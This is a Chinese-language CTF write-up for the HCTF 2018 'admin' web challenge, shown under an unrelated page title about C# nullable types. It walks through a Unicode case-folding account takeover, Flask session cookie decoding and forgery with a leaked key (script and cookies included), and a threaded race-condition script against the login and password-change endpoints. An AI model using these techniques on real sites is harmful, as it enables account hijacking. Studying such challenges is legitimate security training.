1. 程式人生 > 實用技巧 >C#可空型別解析

C#可空型別解析

0x00 前言

做這道題的時候,我是通過弱口令來獲取flag的。看了其他人的做法後決定都試一下,畢竟僅是通過弱口令也學不到什麼。
主要有以下三種解法:

  • unicode欺騙
  • flask session 偽造
  • 條件競爭

0x01 資訊收集

拿到一個網站最重要的當然是收集資訊,收集到的資訊決定了滲透的方向。
我在這個網站收集到了如下資訊:

  • 存在的頁面有login register posts(404) index change(修改密碼)
  • 在change頁面的原始碼中發現了網站的原始碼地址如下

0x02 unicode欺騙

下載原始碼進行程式碼審計,首先對routes.py進行審計如下



發現註冊和登入以及修改密碼處只是對資料進行了小寫化,而且奇怪的是小寫化函式用的不是python自帶的,而是自己封裝的,直覺告訴我這裡存在問題。
於是看一下這個函式是如何封裝的 如下

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入頭

nodeprep.prepare這個方法是將大寫字母轉換成小寫字母,但是它存在一個問題:
它會將unicode編碼的ᴬ轉化成A

unicode參考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

通過程式碼審計我們知道login register change處都是使用的strlower()函式,都會使用到nodeprep.prepare函式。
這時我們打理一下思緒,我們只要獲得admin使用者的登入許可權即可,login register change三處都使用了strlower()函式,
也許我們可以通過nodeprep.prepare函式的這一特性來達到更改admin使用者的密碼,那我們怎麼來做?
首先我們可以註冊一個ᴬdmin使用者,註冊成功後其實後端儲存的賬號為Admin,然後我們在更改密碼,因為strlower()可以將大寫字母小寫化,所以我們更改的是admin的密碼

ᴬdmin--->Admin--->admin

接下來我們先註冊一個ᴬdmin賬號

登入該賬號

主頁面如下,可以看到顯示的賬戶為Admin

接下來我們修改一下密碼,把密碼修改為test

可以看到修改成功

登入admin使用者後,看到如下

0x03 flask session 偽造

看到原始碼,可以知道這個web使用的flask框架寫的,flask存在一個session偽造漏洞。

flask的session儲存在客戶端,一般只是加了簽名來防止被擷取修改,但是如果沒有加密我們就可以對session進行解碼來獲取其中的使用者資料。
如果我們在獲取到簽名的祕鑰,就可以按照解碼出來的資料進行偽造,重新生成簽名的session來達到欺騙服務端。

flask的session使用base64對bytes型別的使用者資料進行編碼,而且編碼之前可能進行了壓縮(session以 "." 開頭時表示進行了壓縮)
flask 儲存在cookie裡面的session一般格式為  data.timestamp.signature
## 客戶端session安全學習:https://www.leavesongs.com/PENETRATION/client-session-security.html#

通過程式碼審計我們可以知道,沒有對session進行加密,而且在config.py中得到了簽名祕鑰

這說明我們可以進行session偽造,但是如何才能獲得flag那,程式碼審計過程中在index.html中還發現

只要在index介面裡讓session['name']的值為admin就可以獲得flag。
我們先獲取index介面的session

.eJxFkEGPgjAQhf_KZs4cAOPFxIOkSCSZIUsKTXsx6iKlUjcBjFrjf99qNruHucyb-ebNe8D2ODSjhsU0XJoAtt0XLB7wsYcFEEuviq3miq_uZOVM8tQpVlsZvyo_kd1ElFURsV4j3zjKSiNNGpGjk7R5j6LuJU-04klPTJkiUwbZIca47pBX84LjrWBkUXiOKI0yuve7WprVjeznrOBl5z3cMVvrQpQWXemZaYgu0cQT42-HiuPVzy7hGcBhHI7b6fvUnP9ekELOpVgb4q1Dl3do2kiJ1KGRM48OyVAvba0pzi29elzG1C7fuM7u2uY_jJo21a9y3lkvwNSMEwRwGZvhHRtEITx_AFRzbBo.X0c0OQ.4qb0LysG2sqb3NHTApcnuwpAULw

然後我們用如下python指令碼對他進行解碼:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

{'_fresh': True, '_id': b'410d09e026f7a13d5fcefcbd6b54e549a1234dcb1573dbbe1eea0ae0e46c8fc0763eb15993183f1b55dcf8e73ab016d794b4120aa9df34e1a430a50c4e4e306d', 'csrf_token': b'af9aac58332b285ea326741463ebea7bf6675666', 'image': b'5SHR', 'name': 'test', 'user_id': '10'}

將得到的資料中的test替換成admin,然後重新進行簽名(使用的指令碼地址:https://github.com/noraj/flask-session-cookie-manager)

.eJxFkEGLwkAMhf_KkrOHtuJF8GCZWiwkZcvYIXMRV2unY8eFqqgj_vcdZdk95JKXfHl5D1jvh-ZkYHoeLs0I1t0Opg_4-IIpkMiuWswnWs7v5HjMMvNa1I6TVxUHcsuY8lVMojcol57yyrLNYvJ0YFf0qOqeZWq0THsS2pa5tii2CSZ1h3I1KSXeSkEOVeCoympr-rBr2M5v5D7Hpay64OGO-cKUqnLoq8DMIvSpIZnacDvSEq9hdgbPEWxPw359_j40x78XWPGE1cKSbD36okPbxlplHi2PAzoiSz272lBSOHr1JCfUzt64zm3a5j-MmparX-W4cUGAzc51RxjB5dQM79wgjuD5A8BwbGM.X0c24g.yUFbBmBBsRINcJJ0r0SvkWfPh4A

替換session,重新整理後得到

0x04 條件競爭



修改密碼只是從session裡面取name的值就可以進行修改,如果讓這個name值為admin則可以達到修改admin賬戶的效果。
登入使用者的時候沒有進行驗證便直接把使用者名稱賦值給了session的name,所以當我們在修改密碼的同時登入admin使用者,從理論上來講是可以實現修改admin賬戶的。
可以通過python寫一個雙執行緒指令碼,一個執行緒登入測試賬戶修改密碼,一個執行緒退出測試賬戶登入admin(這裡登入指的只是使用者名稱為admin密碼不正確)
由於BUUCTF限制流量,所以我沒有測試此方法,只是看了大佬寫的指令碼 如下

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

0x05 參考

https://www.anquanke.com/post/id/164086
http://sunsec.top/2018/11/15/HCTF admin/